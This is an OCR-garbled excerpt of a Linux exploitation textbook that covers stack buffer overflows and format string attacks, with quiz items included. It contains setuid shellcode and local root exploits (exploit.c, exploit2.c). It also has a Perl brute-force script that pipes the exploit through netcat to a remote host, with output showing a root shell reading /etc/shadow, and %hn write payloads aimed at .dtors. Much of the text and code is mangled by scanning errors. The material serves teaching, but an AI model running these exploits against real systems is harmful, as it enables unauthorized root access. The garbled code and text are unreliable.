0x80483al

0x80483a3

0x804835c
0x804835d
0x804835f

0x8048365

0x804838b
0x804838e
0x804838f

[1] Introduction to Buffer Overflows

extended instruction eip

call

<mai n+3>
<mai n+6>
<mai n+9>
<mai n+11>
<mai n+14>:
<mai n+17>
<mai n+19>

<greeting>:

<greeting+1>:
<greeting+3>:
<greeting+9>:

ebp

<greeting+47>
<greeti ng+50>
<greeting+51>

overflows 2.txt

nov
add

elp

Oxc(%ebp) , Yeax
$0x8, Yeax

pushl (%eax)

nov
add

Oxc(%ebp) , Yeax
$0x4, Yeax

pushl (Y%eax)

cal |

0x804835c <greeting>
ebp
esp
push %ebp
nov %esp, Yebp
sub $0x190, %esp

pushl Oxc( %ebp)

eip

add $0xc, Y%esp
| eave
r et

www.zone-h.org/files/32/intro_to_buffer_

211

ebp
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[2] Links for Information on Buffer Overflows http://community.core-sdi.com/
~juliano/
[3] x86and PC Architecture  www.pdos.lcs.mit.edu/6.828/lec/I2.html
8.2
7
10
char strl1[10];
strcpy (strl, "AAAAAAAAAAAAAAAAAAAA") ;
8.2.1
/loverflow. c
mai n() {
char str1[10]; /1 10
Il 35 ‘A Stri
strepy (strl, " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ) ; }
$ 11 $
$gcc -ggdb -0 overfl ow overflow. c
.loverfl ow

09963: Segnent ation fault

segmentation fault gdb

$gdb overfl ow
G\U gdb 5. 3-debi an
Copyright 2002 Free Software Foundation, Inc.
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GDBis free software, covered by the GNU General Public License, and you are
wel come to change it and/or distribute copies of it under certain onditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "showwarranty" for details.
This GDB was configured as "i386-1inux"... (gdb) run Starting program
/ book/ overfl ow

Program recei ved signal SIGSEGY, Segnentation fault. 0x41414141 in ?? ()
(gdb) info reg eip

eip 0x41414141 0x41414141

(gdb) g

A debuggi ng session is active.

Do you still want to close the debugger?(y or n) y

$

gdb 0x41414141
AAAA A 0x41

ep ‘A’ ep A
main ep 0x41414141

segmentation fault

Red Hat 9.0 Fedora exec -

#echo "0" > /proc/sys/ kernel/exec-shield
#echo "0" > /proc/sys/ kernel/exec-shiel d-randoni ze

8.2.2 meet.c
7 meet.c

//meet.c

#i ncl ude <stdio. h> /1

greeting(char *tenmpl, char *tenp2){ /1 greeting hel | o
char nane[ 400] ; /1
strcpy(nane, tenp2); 11 name
printf("Hello % %\n", tenpl, name); [/

}

mai n(int argc, char * argv[]){ /1
greeting(argv[1], argv[2]); /1
printf("Bye % %\n", argv[1l], argv[2]); /1 “ bye”

} I

meet.c 400 Perl  Perl

213
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Perl
‘perl -e 'print "A" x 600 "
600 A 10 A

# I root "H
#gcc - npreferred-stack-boundary=2 -0 nmeet -ggdb neet.c

#./meet M ‘perl -e 'print "A" x 10"°

Hel | o M AAAAAAAAAA

Bye M AAAAAAAAAA

#

600 A meet.c

#./meet M ‘perl -e 'print "A" x 600’
Segnent ati on fault

400 ep gdb

# gdb neet

G\U gdb 5. 3-debi an

Copyri ght 2002 Free Software Foundation, Inc.

GBis free software, covered by the GNU General Public License, and you are
wel come to change it and/or distribute copies of it under certain

condi tions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "showwarranty" for details.
This GDB was configured as "i386-1inux"...

(gdb) run M ‘perl -e 'print "A" x 600 "

Starting program /book/neet M ‘perl -e 'print "A" x 600 °

Program recei ved signal SIGSEGY, Segnentation fault.
0x4006152d in vfprintf () from/lib/libc.so.6
(gdb) info reg eip

eip 0x4006152d 0x4006152d
(gdb) info reg esp
esp Oxbffffilcc Oxbfffflcc
(gdb) info reg ebp
ebp Oxbffff7c4 Oxbffff7c4

(gdb)
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ep meet.c
greeting strepy() printf() printf libc
vfprintf()
call 8.2
ESP| name |EBP| EIP | templ | templ
0x11111111 OxfffffffO
8.2
ep templ printf()
templ gdb
(gdb)
(gdb) Iist
1 [/ meet.c
2 #i ncl ude <stdio. h>
3 greeting(char* tenpl, char* tenp2){
4 char nane[ 400];
5 strcpy(nane, tenp2);
6 printf("Hello % %\n", tenpl, nane);
7 }
8 mai n(int argc, char * argv[]){
9 greeting(argv[1],argv[2]);
10 printf("Bye % %\n", argv[1l], argv[2]);
(gdb) b 6
Breakpoint 1 at 0x8048377: file neet.c, line 6.

(gdb)
(gdb) run M ‘perl -e 'print "A" x 600" °
Starting program /book/neet M ‘perl -e 'print "A" x 600 °

Breakpoint 1, greeting (tenmpl=0x41414141 "", tenp2=0x41414141 "") at
nmeet.c: 6
6 printf("Hello % %\n", tenpl, name);
templ temp2
0x41414141 " NULL printf() NULL

A 401
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(gdb) d 1 <renmpve breakpoint 1>
(gdb) run M ‘perl -e 'print "A" x 401""°

The program bei ng debugged has been started al ready.

Start it fromthe beginning? (y or n) y

Starting program /book/neet M ‘perl -e 'print "A" x 401"°
Hello M

[more "A's renoved for brevity]

AAA

Programrecei ved signal SIGSEGVY, Segnentation fault.
mai n (argc=0, argv=0x0) at neet.c:10

10 printf("Bye % %\n", argv[1l], argv[2]);
(gdb)

(gdb) info reg ebp eip

ebp Oxbf f f 0041 Oxbf ff 0041

eip 0x80483ab 0x80483ab

(gdb)

(gdb) run M ‘perl -e 'print "A" x 404"
The program bei ng debugged has been started al ready.
Start it fromthe beginning? (y or n) y

Starting program /book/neet M ‘perl -e 'print "A" x 404"°
Hel lo M

[more "A's renoved for brevity]

AAA

Program recei ved signal SIGSEGY, Segnentation fault.
0x08048300 in __do_gl obal _dtors_aux ()

(gdb)

(gdb) info reg ebp eip

ebp 0x41414141 0x41414141
eip 0x8048300 0x8048300
(gdb)

(gdb) run M ‘perl -e 'print "A" x 408"
The program bei ng debugged has been started al ready.
Start it fromthe beginning? (y or n) y

Starting program /book/nmeet M ‘perl -e 'print "A" x 408 "°
Hel | o

[more " A's renoved for brevity]

AAAAAAA
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Program recei ved signal SIGSEGY, Segnentation fault.
0x41414141 in ?2? ()
(gdb) q
A debuggi ng session is active.
Do you still want to close the debugger?(y or n) y
#
400 - 408
elp
printf
strcpy
408
8.2.3
segmentation fault
ep
ep root
Unix root root Unix
root
SET User ID SUID
passwd
root root
SUID root
SUID
chnod u+s <fil ename> or chnmod 4755 <fil ename>
meet SUID

meet root
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#chnod u+s neet
#l's -1 neet
-IFWSr-Sr-x 1 root r oot 11643 May 28 12:42 nmeet*

I d - X

SUID S
root
SUID/GUID

[1] SUID/GUID/Sticky Bits www.krnlpanic.com/tutorial s/permissions.php
[2] "Smashing the Stack" www.mindsec.com/files/p49-14.txt
[3] More on Buffer Overflow http://packetstormsecurity.nl/papers/general/

core_vulnerabilities.pdf

8.3
elp
eip eip
eip elp
8.3.1
elp
NOP Sled
NOP NO - OP

NOP NOP NOP
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sed ep NOP ded NOP sled x86
0x90 NOP NOP 0x90

Shellcode

Shellcode

shell shellcode
shell
shellcode shellcode
shellcode 10 shellcode Alephl
shellcode
/I'shel |l code. c
char shellcode[] = //setuid(0) Al ephl shel | code,
"\ x31\ xcO0\ x31\ xdb\ xb0\ x17\ xcd\ x80" /1 set ui d(0)

"\ xeb\ x1f\ x5e\ x89\ x7 6\ x08\ x31\ xcO0\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ xOb"
"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd"
"\ x80\ xe8\ xdc\ xf f \xf f \xf f/bin/sh";

void main() { [/ main
int *ret; /1
ret = (int *)&et + 2; Il ret
(*ret) = (int)shellcode; // shel | code
}
shellcode.c
# /1 root

#gcc -0 shell code shell code. c
#chnod u+s shel | code

#su | oeuser I
$. /shell code
sh-2. 05b#
root
ep shellcode

NOPsled
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NOP ded Shellcode

EBP | EIP

ep NOP dled
shellcode

8.3.2

esp gee

#i ncl ude <stdio. h>
unsi gned | ong get _sp(void){
__asm__("movl %esp, %ax");
}
int main(){
printf("Stack pointer (ESP): Ox%\n", get_sp()): }
# gcc -0 get_sp get_sp.c

# ./get_sp
Stack pointer (ESP): Oxbffffbd8 I
esp
perl
perl -e ’print  "A'x200;
200 A perl shellcode

>

$ perl -e ’'print

"\ x31\ xc0\ x31\ xdb\ xb0\ x17\ xcd\ x80\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xc0O\ x88
\ x46\ x07\ x89\ x46\ x0c\ xb0\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80
\ x31\ xdb\ x89\ xd8\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xf f\xff/bin/sh";’ > sc

$

perl "
600 meet.c

$ ./meet nr ‘perl -e ’print "\x90"x200’; “ cat sc“ perl -e 'print
"\ xd8\ xf b\ xf f \ xbf "x89" ; *
Segnent ati on fault
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600
e 200 NOP "\x90"
e 45 shellcode
° 356 esp 89 Oxbffffbd8
x86 little endian 89
600 355 4
segmentation fault
NOP 1

$ ./meet nr ‘perl -e 'print "\x90"x201;‘‘cat sc'‘perl -e 'print

"\ xd8\ xf b\ xf f\ xbf "x89" ; *

Segnentation fault

$ ./meet nmr ‘perl -e 'print "\x90"x202';‘‘cat sc'‘perl -e 'print
"\ xd8\ xf b\ xf f\ xbf "x98" ; *

Segnentation fault

$ ./meet nr ‘perl -e 'print "\x90"x203 ;‘‘cat sc'‘perl -e 'print
"\ xd8\ xf b\ xf f\ xbf "x89" ; *
Hello ér1AFF

oV

i10@@ieUyyyibin/sh@(y ¢ @0y e B0y B0y ¢ By e B0y B0y ¢ By e By DY ¢ By e DYy DY ¢ DY D

Y¢ @0y D0y D0y B0y DYDY B0Y DAY DY ¢ DUY ¢ DY DY BUY ¢ DYDY DUY ¢ DY DY ¢ D
¢ DUy B0y DAYy DYDY DUy DYDY DUy DUy DUy DYDY DUy DU DY DUy DD
y¢@0y¢B0y¢ D0y ¢ D0y Dy Dy Dy, e"1AFF

o\,

110@@ieUyyy/oin/sh@ay e B0y ¢ B0y B0y BQY ¢ B0y DY DY ¢ DY B¢ BUY ¢ DY DY ¢ BUY ¢ D

y¢ D0y D0y D0y ¢ B0Y ¢ DYDY ¢ D0Y ¢ DYDY ¢ DUY ¢ DYDY ¢ DUY ¢ DYDY ¢ DUY ¢ DYDY ¢ D
V¢ D0Y D0y D0y Dy B0y DAY D0y DYDY DAY DYDY D0y ¢ DAY ¢ D0Y B0y DY DAY D
V¢ D0Y D0y DUy D0y B0y D0y DUY¢,

sh- 2. 05b#

8.3.3
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/lexploit.c
#i ncl ude <stdio. h>
char shellcode[] = //setuid O Al ephl shel | code
"\ x31\ xc0\ x31\ xdb\ xb0\ x17\ xcd\ x80" // set ui d(0)
"\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xc0\ x88\ x46\ x07\ x89
\ x46\ x0c\ xb0\ x0b"
"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ xOc\ xcd\ x80\ x31\ xdb
\ x89\ xd8\ x40\ xcd
" 11\ x80\ xe8\ xdc\ xf f\ xff\ xff/bin/sh";
/1 esp
unsi gned | ong get _sp(void){
__asm__("rmovl %esp, %ax");

}
int main(int argc, char *argv[1]) { [/ main
int i, offset = 0; I /
Il ong esp, ret, *addr_ptr; /1
char *buffer, *ptr; 1/ buffer ptr
int size = 500; 1/
esp = get_sp(); /1 esp
if(argc > 1) size = atoi(argv[1]); /1 1 si ze
if(argc > 2) offset = atoi(argv[2]); 11 of f set
if(argc > 3) esp = strtoul (argv[ 3], NULL, 0); /1
ret = esp - offset; /1

I
fprintf(stderr,"Usage: %<buff_size><offset><esp: Oxfff...>\n", argv[0]);

I
fprintf(stderr,"ESP: Ox% O fset:0x% Return: Ox%\n", esp, of fset,ret);
buf fer = (char *)mall oc(size); /1
ptr = buffer; 1/ buf f er
addr_ptr = (long *) ptr; /1 addr _ptr ptr
11
for(i=0; i < size; i+=4){ /1 4
*(addr_ptr++) = ret; 11 addr _ptr
}

I NOP
for(i=0; i < sizel2; i++){ I
buffer[i] = "\x90"; } /1 NOP
I shel | code
ptr = buffer + sizel?2; /1 ptr
for(i=0; i < strlen(shellcode); i++){

I 1/2 shel | code

*(ptr++) = shellcode[i]; } /'l shellcode
11
buf fer[si ze-1] =0; I x\ 0

/1 buf f er
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execl ("./neet", "meet", "M.", buffer,0); /1 0
printf("%\n", buffer); 11

I
free(buffer); I
return O; [/
}

shellcode
esp main()
esp
esp
NOP shellcode NULL
7 meet.c
8.34 meet.c
meet.c

# gcc -0 nmeet neet.c

# chnod u+s neet

# su joe

$ ./exploit 600

Usage: ./exploit <buff_size> <offset> <esp:Oxfff...>
ESP: Oxbf fffbd8 O fset:0x0 Return:Oxbffffbd8

Hello é"1AFF

o

oV

I10@@ieUyyy/bin/she @0y ¢ D0y e B0y Dy e DOy DY ¢ DOy B0 Dy e DY DY ¢ DOV B0y DY,

0y ¢ D0y ¢ DGy ¢ B0y B0y DUy DY DUy DYDY BUY ¢ BUY ¢ BUY DYDY DAY DY DYDY,
0y¢ D0y ¢ DUy e B0y B0y B0y DY DYDY DUY ¢ BUY ¢ BUY ¢ BUY DUV DYDY DYDY
&"1AFF

oV
|’1U@@|’éUyyy/bin/shc-@aymoy(;Qayc-@ayg,;aay(;mywayg,mw@aymaymaymaymaymaw

0y D0y D0y D0y DAY DY D0Y DYDY DY DAY DUY DY ¢ DAY DAY D0Y DYDY DY,
0y¢.D0y¢ D0y ¢ DYDY DUY ¢ DYDY DUY ¢ DYDY DUY ¢ DYDY DAY ¢ DYDY DAY

sh-2. 05b# whoani

r oot
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sh-2. 05b# exi t

exit

$

root SUID
root shell
600 Perl
8.3.5
shellcode 21~50 10

#

# cat smallbuff.c

//smal | buff.c

int min(int argc, char * argv[]){

char buff[10]; I
strepy(buff, argv[1]); 11l
}
SUID

# gcc -o smal |l buff smallbuff.c

# chnmod u+s smal | buff

# 1s -1 snallbuff

- T WS - XI - X 1 root r oot 4192 Apr 23 00: 30 snal | buff

# su joe

$
shellcode

$ cat exploit2.c
/lexploit2.c

#i ncl ude <stdlib. h>
#i ncl ude <stdi o. h>

#define VULN "./snal |l buff"

#define SIZE 160
char shellcode[] =

/' set ui d(0)

Al ephl shel | code
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"\ x31\ xcO\ x31\ xdb\ xb0\ x17\ xcd\ x80" // set ui d(0)
"\ xeb\ x1f \ x5e\ x89\ x7 6\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xbO\ x0Ob"
"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ xOc\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd"
\ x80\ xe8\ xdc\ xf f \xf f \xf f/bin/sh" ;

int main(int argc, char **argv){

char pl[ Sl ZE] ; I

Il shel | code env

char *env[] = { shellcode, NULL }; // shel | code
char *vuln[] = { VULN, p, NULL };

int *ptr, i, addr;

/1 shel | code

addr = Oxbffffffa - strlen(shellcode) - strlen(VULN);
fprintf(stderr, "[***] using address: %#010x\n", addr);
/* */

ptr = (int * )p;

for (i =0; i <SIZE, i += 4) *ptr++ = addr;

/1 execle

execl e(vul n[ 0], wvuln, p, NULL, env);

exit(l); }

$ gcc -0 exploit2 exploit2.¢c $ ./exploit2

[***] using address: Oxbfffffc2

sh-2. 05b# whoam

r oot
sh-2. O5b# exit
exit
$exi t
Murat
Linux ELF Oxbfffffff
8.3
Oxbffffffa
A
“— / Shellcode 4l
A A
Shellcode
OoxITTTTTT] Oxbfffffff
8.3

NULL
exploit2.c shellcode
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char *env[] = { shellcode, NULL };

shellcode
Addr of shel |l code=0xbf fffffa—| engt h(program nane) -l engt h(shel | code)

gdb

# gdb exploit2 --quiet

(no debuggi ng symbol s found)...(gdb)

(gdb) run

Starting program /root/book/exploit2

[***] using address: Oxbfffffc2

(no debuggi ng synbol s found)...(no debuggi ng synbol s found)..

Program recei ved signal SIGIRAP, Trace/breakpoint trap

0x40000b00 in _start () from/lib/ld-linux.so.2

(gdb) x/20s Oxbfffffc2 /*this was output fromexploit2 above */

Oxbfffffc2

"e\ GB7M 211v\ bl A\ 210F\ a\ 211F\ f o\ vl 2116\ 215N b\ 215\ f I\ 200 W 2110@
\ 20CeUYYY

bi n/ sh"

Oxbffffffo: "./smallbuff"

Oxbffffffc:

Oxbffffffd:

Oxbffffffe:

Oxbfffffff:

0xc0000000: <Addr ess 0xc0000000 out of bounds>
0xc0000000: <Addr ess 0xc0000000 out of bounds>
0xc0000000: <Addr ess 0xc0000000 out of bounds>
0xc0000000: <Addr ess 0xc0000000 out of bounds>
0xc0000000: <Addr ess 0xc0000000 out of bounds>
0xc0000000: <Addr ess 0xc0000000 out of bounds>
0xc0000000: <Addr ess 0xc0000000 out of bounds>

[1] Hacking: The Art of Exploitation, by Jon Erickson, No Starch Press, San Francisco,
2003

[2] murat’s Explanation of Buffer Overflows www.enderunix.org/docs/eng/
bof-eng.txt

[3] "Smashing the Stack" www.mindsec.com/files/p49-14.txt

[4] PowerPoint Presentation on Buffer Overflows http://security.dico.unimi.it/
~sullivan/stack-bof-en.ppt

[5] CoreSecurity http://packetstormsecurity.nl/papers/general/core_ vulnerabilities.pdf
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[6] Buffer Overflow Exploits Tutorial
[7] Writing Shellcode

8.4

8.4.1 /

Linux 2.4
/* */
/* xi netd

#i ncl ude <stdio. h>

#i ncl ude <string. h>

#i ncl ude <ctype. h>

int doit(char *str)

{

char bufz[ 1024];
printf("doing stuffz...\n");
strcpy(bufz,str);

return(0);

}

int main(int argc, char **argv)

{

char buf[4096];
get s(buf);

doi t (buf);

http://mixter.void.ru/exploit.html

www.inet-sec.org/docs/shell code/shellcode-pr10n.txt

socket

xinetd vuln.c

227
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printf("DONE STUFFZ... [%]\n", buf)
return(0);

Unix inetd Xinetd

# gcc -o vuln vuln.c
letc/services

# letcl/services:
# . services,v 1.11 2000/08/03 21:46:53 nalin Exp $
# Network services, Internet style
# Note that it is presently the policy of | ANAto assign a single well-known
# port nunber for both TCP and UDP; hence, npbst entries here have two entries
# even if the protocol doesn’t support UDP operations
# Updated from RFC 1700, Assigned Numbers’’ (COctober 1994). Not all ports
# are included, only the nore comopn ones.
# Each |line describes one service, and is of the form
# service-name port/protocol [aliases ...] [# comment]
vul n 555/tcp
# added to test renote exploit

[etc/services

[etc/xinetd.d

# cat /etc/xinetd.d/vuln
# default: on
# description: The vuln server is to test renpte exploits, do NOT | eave

#in place!!!l It is vulnerable.!!!l.
service vuln
{

fl ags= REUSE

socket _type= stream

wai t= no

user = root

server= /root/vuln

#1 og_on_fail ure+= USERI D

}
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[/root/vuln
xinetd

#/etc/init.d/ xinetd restart
St oppi ng xi net d: [ K ]
Starting xinetd: [ K ]

555
# netstat -an |grep 555
tcp 0 0 0.0.0.0:555 0.0.0.0:* LI STEN

/
8.4.2 esp
esp
# gdb vul n
G\U gdb 5.0

Copyright 2000 Free Software Foundation, Inc.

GDBis free software, covered by the GNU General Public License, and you are
wel come to change it and/or distribute copies of it under certain

condi tions.

Type show copying to see the conditions

There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-1inux...

(gdb) b main Breakpoint 1 at 0x80484f5

(gdb) run

Starting program /root/vul n3

Breakpoint 1, 0x80484f5 in main ()

(gdb) info reg esp

esp Oxbf f f ea60
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esp
exploit.c esp
esp
8.4.3 Perl
socket Perl
exploit.c
/lexecl ("./meet", "meet", "M." buffer,0);// 0
Perl

#

# cat brute. pl

#1/ usr/ bi n/ perl

$M N=0;

$MAX=5000;

whil e($M N < $MAX) {

printf("offset:$M N Hold down the enter key til programstops ...\n");
systenm("(./exploit 1224 $M N Oxbf ffed62; cat) | nc 10. 10. 10. 33 555"); $M N++;
}

Perl
systen("./exploit 1224 $M N Oxbfffed62;cat) |nc 10.10.10.33 555");

system perl exploit
200 eip
$MIN 0 while 5000
esp
0x300 cat
netcat IP
P P netcat

www.atstake.com/research/tool s/network_utilities/nc110.tgz
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Oxbfffed62
esp Oxbfffec60
brute.pl
Oxbfffed62
Perl
# perl ./brute.pl
offset:0 Hold down the enter key til program stops...
Usage: ./exploit <buff_size> <offset> <esp: Oxfff...>
ESP: Oxbf ffed62 O fset:0x0 Return: Oxbfffed62
offset:1 Hold down the enter key til program stops...
Usage: ./exploit <buff_size> <offset> <esp: Oxfff...>
ESP: Oxbf ffed62 O fset:0x1 Return:Oxbfffed6l w

offset:2 Hold down the enter key til program stops...
Usage: ./exploit <buff_size> <offset> <esp: Oxfff...>
ESP: Oxbfffed62 Offset:0x2 Return: Oxbfffed60

[truncated for brevity...]

of fset: 60 Hold down the enter key til program stops...
Usage: ./exploit <buff_size> <offset> <esp: Oxfff...>
ESP: Oxbf ffed62 COffset:0x3c Return: Oxbfffed26

offset: 61 Hold down the enter key til program stops...
Usage: ./exploit <buff_size> <offset> <esp:Oxfff...>
ESP: Oxbf ffed62 O fset:0x3d Return: Oxbfffed25

[rel ease the enter key when the script stops]

id; #this line is typed by the hacker when the script stops.
ui d=0(root) gid=0(root)

head -5 /etc/shadow,

root: $1$Vf8PaSvt $USGRVpGONDr mAl LEaad6a/ : 11912: 0: 99999: 7:
bin:*:11711: 0:99999: 7: ::

daenon: *:11711: 0: 99999: 7: : :

adm *:11711: 0: 99999: 7: ::

| p:*:11711: 0: 99999: 7: ::

exit

exit

Oxbfffed25
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# (./exploit 1224 61 Oxbfffed62;cat)|nc 10.10.10.33 555

Usage: ./exploit <buff_size> <offset> <esp: Oxfff...>

ESP: Oxbf ffed62 O fset:0x3d Return: Oxbfffed25

id;

ui d=0(root) gid=0(root)

exit

exit

[1] xinetd vs. inetd www.linuxplanet.com/linuxplanet/tutorial /4505/2/

[2] Introduction to Remote Exploits www.zone-h.org/files/32/remote_exploits.htm

[3] PowerPoint Presentation on Buffer Overflows http://security.dico.unimi.it/
~sullivan/stack-bof-en.ppt

8.5

> strepy
> ep
> gdb
> 600 A
per | -e ’'print "A" x 600
[ ]
> Alephl shellcode

» NOP shellcode

>  murat

ep
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» = Oxbffffffa- -shellcode
> /
»
> esp
> Perl
0x804835c <greeting>: push Y%ebp
0x804835d <greeting+l>: nmov Y%esp, ¥ebp o0
0x804835f <greeting+3>: sub $0x190, %esp
0x8048365 <greeting+9>: pushl Oxc( %ebp)
A. B. C. D.
A. push  pop B. pop  push
C. D
perl -e ’'print  "0x42" x %
A.BBBBB B.AAAAA C. 42424242 D. 0x420x420x420x42
gdb
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x8048300 0x8048300
A. ebp A ep
B. ep ebp
C. ebp A ep
D. ep ebp
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o0 wp

6. Jvuln 25 shellcode murat
shellcode

A. Oxbffffffa B. Oxbffffffc C. Oxbfffffdb D. Oxbfffffda

A. esp B. C. D.

8. cat
(./exploit 1224 61 Oxbfffed62;cat)|nc 10.10.10.33 555

A. B.
C. D. shell

8.5.2

2. A push pop

3. D "0x42" A
"\x42"

4. A ebp ep

5. D

6. C

Oxbffffffa - - shellcode =
Oxbffffffa- 6 - 25 =( Windows  Linux ) Oxbfffffdb

7. D
8. A ca Unix
shell
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>

>

> dbrs ot
>

> malbc
>»dh albc

>

>

> Lbsak

> G R Security

» StackshieH

[LIGTEEN a )
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9.1

2000

9.11

e printf() STDIO
e fprintf()

e sprintf()
e snprintf()

printf()

printf(< > < / >);
printf(< >);

printf()

9.1

\n printf(“test\n™);
%d printf(“test %d", 123);
%s printf("test %s',"123");

9.1
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%X printf("test %x",0x123);
%hn printf("test %hn" var); 04
16 var var
<number>$ printf("test %2%s'," 12" 123"); test
123
9.1
printf ()
/[1fmtl.c
mai n() {
printf("This is a %.\n", "test");
}
$gcc -o fml ftl.c
$./fnt1
This is a test.
%s
/Il fm2.c
mai n() {
printf("This is a %.\n");
}
$ gcc -o fmt2 fnt2.c
$./fm2
This is a fy'¢ .
ASCII
printf()

[1fm3.c

mai n(int argc,
print f(argv[1]);

}

char * argv[]){
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$gcc -0 fm3 fnt3.c
$./fm3 Testing
Testi ng#

$gcc -0 fm3 fnt3.c
$./fm 3 Testing%s
TestingYyy ¢ y#

[/1fmtd.c
mai n() {
int one=1, two=2, three=3;
printf("Testing %, %, %d'\n", one, two, three);

}
$gcc -0 fm4.c
fnt4
Testing 1, 2, 3!
printf() 9.1
printf ()
<
9.1 printf ()
printf() 9.1
printf ()

STDIO
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% printf()

1
printf()
printf ()
\ \
\X
16
segmentation fault
root
[/fmstr.c

#i ncl ude <stdlib. h>
int main(int argc, char *argv[]){

static int canary=0; /1 .data canary
char tenp[2048]; I

strcpy(tenp, argv[1]); I argvil tenmp
printf(tenp); I tenp
printf("\n"); I

printf("Canary at 0x%08x = 0x%®8x\ n", &canary, canary); // canary
}
#gcc -0 fmtstr fmtstr.c
#./fntstr Testing
Testing
Canary at 0x08049440 = 0x00000000
#chnod u+s fntstr
#su | oeuser
$
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“ Canaryﬂ
9.1.2
%X
9.1 06X
2608x

$ . /fntstr "AAAA 908X %8x %H8x %H8X"
AAAA bf fffd2d 00000648 00000774 41414141
Canary at 0x08049440 = 0x00000000

$

08 8

AAAA

%008x
fmitstr 4

%s

$ ./fmtstr "AAAA %08x %08x %08x 9"
Segnent ation fault
$

segmentation fault %s

AAAA 0x41414141 segmentation fault

%%s
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$ cat getenv.c
#i ncl ude <stdlib. h>
int main(int argc, char *argv[]){

char * addr; [/ bss

addr = getenv(argv[1]); I addr

printf("% is located at %\n", argv[1l], addr); I
}
$ gcc -0 getenv getenv.c

SHELL
shell
$ ./getenv SHELL
SHELL is |ocated at Oxbffffd84
w
$ . /fmtstr “printf "\ x84\ xfd\xff\xbf"*" 9%98x %8x %08x ¥s"
YYi bffffd2f 00000648 00000774 /bin/bash
Canary at 0x08049440 = 0x00000000
NULL SHELL

env | more”

Direct Parameter Access
#3$

$cat dirpar.c
/ldirpar.c
mai n() {
printf("This is a 98$s.\n", 1, 2, "test");
}
$gcc -o dirpar dirpar.c
$. /dirpar
This is a test.
$

\' 8 Shell  $
SHELL
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$ /fnmtstr ‘printf "\ x84\ xfd\ xff\xbf" "% $s"
YYi / bi n/ bash

Canary at 0x08049440 = 0x00000000

bash shell tcsh

$ . /fnmtstr ‘printf "\ x84\ xfd\ xff\xbf"*’ % $s’

bash shell
9.1.3
shellcode canary
0x08049440 fmtstr
Blaess Grenier Rayndl “ 8 4
#$ %hn
shellcode

$ export SC=‘cat sc'
$ ./getenv SC
SCis located at Oxbfffff50 e RREEER

U high - order bytes HOB  Oxbfff
U low - order bytes LOB  Oxff50
HOB LOB 9.2
9.2

canary 0x08049440
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HOB < LOB LOB < HOB
[addr+2][addr] [addr+2][addr] 16 bit \Xx42\x94\x04\x 08\
x40\x94\x04\x08
%.[HOB - 8]x %.[LOB - 8]x “ OxXDfff - 8= 49143
%.49143x
%[ offset]$hn %[ offset+1]$hn %4\$hn
%.[LOB - HOB]x %.[HOB -LOB]x *“ . Oxff50-0xbfff= 16209
%.16209x
%[ offset+1]$hn % [offset] $hn %5\$hn
9.2
Canary
9.2 shellcode canary
getenv  fmitstr
shellcode
canary 0x08049440 Oxbfffff50 9.2

$ . /fmtstr ‘printf

"\ x42\ x94\ x04\ x08\ x40\ x94\ x04\ x08"* % 49143x %\ $hn% 16209x%B\ $hn
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000

<truncat ed>
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000648

Canary at 0x08049440 = Oxbfffff50
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9.2

9.14 .dtors  root

canary
shellcode
.dtors
elf32
GNU elf32
* nm elf
® objdump
$run ./fmtstr |nore
08049448 D _DYNAM C
08049524 D _GLOBAL_OFFSET_TABLE
08048410 R _I1 O stdin_used
w _Jv_Regi sterd asses
08049514 d _ CTOR END__
08049510 d _ CTOR LIST__
0804951c d _ DTOR END__
08049518 d _ DTOR LIST__
08049444 d _ EH FRAVE BEG N__
08049444 d __ FRAME END
08049520 d __ JCR END
08049520 d __JCR LIST__
08049540 A __bss_start
08049434 D __data_start
080483c8 t __do_gl obal _ctors_aux
080482f4 t __do_gl obal _dtors_aux
08049438 d __dso_handl e
W __gnmon_start__
U_libc_start_mai n@asl BC 2.0
08049540 A _edata
08049544 A _end

<truncat ed>
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.dtors

$ objdump -s -j .dtors ./fmtstr

fmtstr: file format el f32-i386

Contents of section .dtors:

8049518 ffffffff oooooooo ...,
$

DTOR

CIC++
destructor DTOR destructor
DTOR nm  objdump
DTOR 32 Oxffffffff  0x00000000 NULL
fmtstr
destructor

$ cat dtor.c
//dtor.c
#i ncl ude <stdi o. h>

static void goodbye(void) __attribute__ ((destructor));

mai n() {
printf("During the program hello\n");
exit(0);

}

voi d goodbye(voi d){
printf("After the program bye\n");

}
$ gcc -o dtor dtor.c
$ ./dtor

During the program hello
After the program bye

nm  grepping goodbye

$ nm./dtor |grep goodbye
08048386 t goodbye

DTOR

$ nm./dtor |grep DTOR
08049508 d __ DTOR END
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08049500 d _ _DTOR LI ST __
.dtors
$ objdump -s -j .dtors ./dtor
./dtor: file format el f32-i 386

Contents of section .dtors:
8049500 ffffffff 86830408 00000000 ............

$
DTOR goodbye OXFFFfffff
0x00000000
fmtstr DTOR
$run ./fntstr |grep DTOR # DTOR

0804951c d __ DTOR END__
08049518 d __ DTOR LI ST _

$ objdump -s -j .dtors ./fmtstr
fntstr: file format el f32-i 386
Contents of section .dtors:

8049518 ffffffff 00000000 ........

$
DTOR DTOR 0x00000000
shellcode
__ DTOR_LIST 4
0x08049518 + 4 = 0x0804951c
shellcode
9.2 shellcode Oxbfffff50
0x0804951c

